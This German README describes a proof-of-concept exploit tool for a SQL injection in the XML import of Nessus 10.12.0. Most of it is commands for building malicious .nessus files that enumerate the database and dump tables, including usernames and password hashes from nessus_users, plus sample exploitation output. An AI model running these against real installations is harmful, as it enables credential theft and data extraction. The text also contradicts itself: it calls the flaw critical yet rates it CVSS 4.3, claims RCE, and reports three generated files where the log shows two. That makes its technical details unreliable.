PoC für CVE-2026-57588 - SQL-Injection im XML-Import von Nessus 10.12.0. Generiert bösartige .nessus-Dateien, um Datenbanken aufzulisten, Anmeldeinformationen zu exfiltrieren und zeitbasierte Blind-Injection zu testen. Für autorisierte Sicherheitsforschung. Autor: Sudeepa Wanigarathna. In 10.12.1 gepatcht.
CVE-2026-57588 ist eine kritische SQL-Injection-Schwachstelle, die in Tenable Nessus-Versionen 10.12.0 und früher entdeckt wurde. Die Schwachstelle befindet sich im XML-Parsing-Mechanismus beim Importieren von .nessus-Scanergebnisdateien und erlaubt authentifizierten Benutzern mit Importberechtigungen, beliebige SQL-Abfragen gegen die PostgreSQL-Backend-Datenbank auszuführen.
| Eigenschaft | Wert |
|---|---|
| CVE ID | CVE-2026-57588 |
| Schwachstellentyp | SQL-Injection |
| Betroffene Produkte | Tenable Nessus 10.12.0 und früher |
| Behobene Version | Nessus 10.12.1 und später |
| CVSS-Wert | 4.3 (Mittel) |
| Angriffsvektor | Netzwerk |
| Angriffskomplexität | Niedrig |
| Erforderliche Berechtigungen | Authentifiziert (Importberechtigungen) |
| Benutzerinteraktion | Erforderlich (Social Engineering) |
| Auswirkung | Datenextraktion, RCE |
Die Schwachstelle besteht aufgrund unzureichender Bereinigung von XML-Tag-Werten, bevor sie in SQL-Abfragen während des Importprozesses eingebunden werden. Ein böswilliger Akteur kann eine .nessus-Datei erstellen, die speziell präparierte SQL-Injection-Payloads in XML-Tags wie den folgenden enthält:
hostnamefqdnossystem-typemac-addressnetbios-nameWenn ein privilegierter Benutzer die bösartige Datei importiert, werden die unbereinigten Werte gegen die PostgreSQL-Backend-Datenbank ausgeführt, was Folgendes ermöglicht:
# Repository klonen
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
# Virtuelle Umgebung erstellen und aktivieren
python3 -m venv venv
source venv/bin/activate # Unter Windows: venv\Scripts\activate
# Abhängigkeiten installieren
pip install -r requirements.txt
# Installation überprüfen
python3 exploit.py --version
# Docker-Image erstellen
docker build -t nessus-exploit .
# Tool ausführen
docker run -it --rm nessus-exploit generate -u https://test.com -p enum
# Als Paket installieren
pip install -e .
# Jetzt können Sie von überall aus ausführen
nessus-exploit generate -u https://test.com -p enum
# Einfachen Aufzählungs-Exploit generieren
python3 exploit.py generate -u https://test.com -p enum
# Fortgeschrittenen mehrstufigen Exploit generieren
python3 exploit.py generate -u https://test.com -p advanced -o exploit.nessus
# Daten aus der Datenbank extrahieren
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
# Allgemeine Hilfe anzeigen
python3 exploit.py --help
# Hilfe für generate-Befehl anzeigen
python3 exploit.py generate --help
# Alle verfügbaren Payloads auflisten
python3 exploit.py list
python3 exploit.py generate -u https://test.com -p enum
[2026-07-22 10:15:23] [INFO] [*] Starte Exploitation gegen https://test.com
[2026-07-22 10:15:23] [INFO] [*] Sitzung: xK9mN2pQ5wR8yV7tJ4sL3fG6hD1
[2026-07-22 10:15:23] [INFO] [*] Payload: enum
[2026-07-22 10:15:23] [INFO] [*] Führe Stufe aus: fingerprint
[2026-07-22 10:15:24] [INFO] [+] Generierte XML: exploit_20260722_fingerprint_101523.nessus (3847 Bytes)
[2026-07-22 10:15:24] [INFO] [*] Führe Stufe aus: schema_dump
[2026-07-22 10:15:25] [INFO] [+] Generierte XML: exploit_20260722_schema_dump_101524.nessus (4213 Bytes)
[2026-07-22 10:15:25] [INFO] [+] Exploitation abgeschlossen! Dauer: 2.15s
============================================================
EXPLOITATION ZUSAMMENFASSUNG
============================================================
Ziel: https://test.com
Status: ERFOLG
Dauer: 2.15s
Generierte Dateien: 3
Generierte Berichte: 3
============================================================
python3 exploit.py generate -u https://test.com -p advanced -o custom.nessus -v
# Benutzeranmeldeinformationen extrahieren
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
# Mit benutzerdefinierten Spalten extrahieren
python3 exploit.py generate -u https://test.com -p dump --table scan_results --columns scan_name,start_time,status